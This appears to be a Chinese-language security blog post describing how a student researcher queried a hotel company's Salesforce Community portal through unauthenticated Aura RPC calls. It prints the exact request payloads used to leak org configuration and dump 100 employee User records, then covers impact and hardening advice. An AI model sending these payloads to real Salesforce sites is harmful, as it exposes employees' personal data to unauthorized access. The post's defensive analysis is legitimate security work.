【海外实战】如何通过 Salesforce Aura 接口“潜入”某国际酒店巨头内部网络

0x01 故事背景

作为一名整天钻研 Web 安全的大学生,我一直对大型跨国企业的资产架构充满好奇。这些巨头往往拥有极其复杂的供应链和开发者门户。

这次的故事始于某大型企业的 中央供应平台 (Central Provisioning Platform)。这是一个基于 Salesforce Community 构建的开发者门户。大家都知道,Salesforce 这种高度集成的 SaaS 平台如果配置不当,往往会变异成通往内网数据仓库的“快速通道”。

本以为这种顶级企业的门户网站一定是固若金汤,然而,当我敲下几个特定的 URL 后,那种属于安全研究员的“直觉”告诉我:这地方,漏风了。

0x02 信息收集

在针对目标资产 portal.target-corp.com 进行常规探测时,我习惯性地祭出了扫描利器。没过多久,终端跳出了几行关键提示,指向了 Salesforce Aura 框架的核心入口点:

关键点来了: /s/sfsites/aura 通常是 Aura RPC 交互的中心。如果权限校验逻辑出现漏洞,这个接口就会对 Guest(游客) 用户开放。这就像是一个城堡大门紧闭,但侧面的小窗户却只是虚掩着。

0x03 漏洞利用

Step 1:获取“内部地图”(组织配置信息)

我构造了一个特殊的 Aura RPC 请求,尝试调用 HostConfigController 里的 getConfigData 方法。这个方法的本意是为前端提供环境配置,但在未授权的情况下,它会泄露大量后端敏感架构信息。

核心 Payload 如下:

POST /s/sfsites/aura HTTP/1.1
Host: portal.target-corp.com
Content-Type: application/x-www-form-urlencoded

message={"actions":[{"id":"1;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}&aura.context={"mode":"PROD","fwuid":"aura","app":"siteforce:communityApp"}&aura.token=null

注意 aura.token=null。由于系统未对 Guest 角色做充分拦截,服务器会误以为这是合法的匿名请求并返回配置。

响应瞬间: 屏幕上弹出了大量的 JSON 数据,包括内部私有域名 internal-org.my.salesforce.com、Network ID、Org Origin 以及各种内部开发环境的配置映射。

Step 2:深度挖掘(越权查询用户记录)

既然能拿到配置,能不能查询更核心的数据?我将目标转向了 SelectableListDataProviderController。这是一个极其强大的数据组件,如果逻辑校验不严,可以被用来绕过前端限制直接查询对象。

我尝试构造了一个针对 User 对象(用户表)的查询 Payload:

攻击逻辑转换:

{
  "actions": [
    {
      "id": "1;a",
      "descriptor": "serviceComponent://ui.force.components.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems",
      "params": {
        "entityNameOrId": "User",  // 目标:拉取所有用户信息
        "layoutType": "FULL",
        "pageSize": 100,
        "currentPage": 0
      }
    }
  ]
}

实战反馈:
发送请求后,响应包回传了整整 100 条用户记录!其中包括 员工真实姓名、内网 ID、账号创建时间。这意味着,任何一个互联网上的匿名用户,都可以通过这个接口“点名”该企业内部的员工

0x04 漏洞影响

千万不要觉得这只是几个 API 的问题,在黑产或高级渗透测试场景下,这足以造成灾难性后果:

  1. 内部对象结构全泄露: 暴露了 200 多个内部对象的 API 名称和 Key Prefix,攻击者可以据此绘制出完整的业务数据库蓝图。
  2. 精准社工攻击: 泄露的员工个人信息(包括邮箱前缀等)为钓鱼攻击提供了极高可信度的素材。
  3. 开发环境侧漏: 通过 cspTrustedSites 暴露的内网开发域名,泄露了企业内部测试环境的攻击面。

0x05 防御与反思

作为一名未来的安全从业者,分析 Root Cause 比发现漏洞更重要。

根源分析:
这是典型的 Salesforce Experience Cloud 权限配置疏忽。开发人员在配置 Guest User Profile 时,为了图省事,开启了对特定 Controller 或对象的 Read 权限,且在代码层面未通过 isAccessible() 或 Schema.sObjectType 校验用户的实际权限。

加固建议:

  • 权限收紧: 立即审查并禁用 Guest 用户对 User、Account 等核心敏感对象的访问权限。
  • WAF 策略: 在网关层对 /s/sfsites/aura 的特征 Payload 进行深度包检测(DPI),拦截未带合法 Session 的 RPC 调用。
  • 架构优化: 敏感接口不应直接暴露公网,建议将其收拢至 VPN 访问范围,或增加 HTTP Basic Auth 二次认证。

结语

这次实战再次提醒我:云端的便利往往伴随着巨大的配置风险。 即使是世界顶尖企业的资产,也可能因为一个微小的权限配置勾选而门户洞开。

对于我们这些研究员来说,保持好奇心、保持对代码逻辑的深度复盘,才是守卫网络安全的真谛。

Stay Humble, Stay Hardcore!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注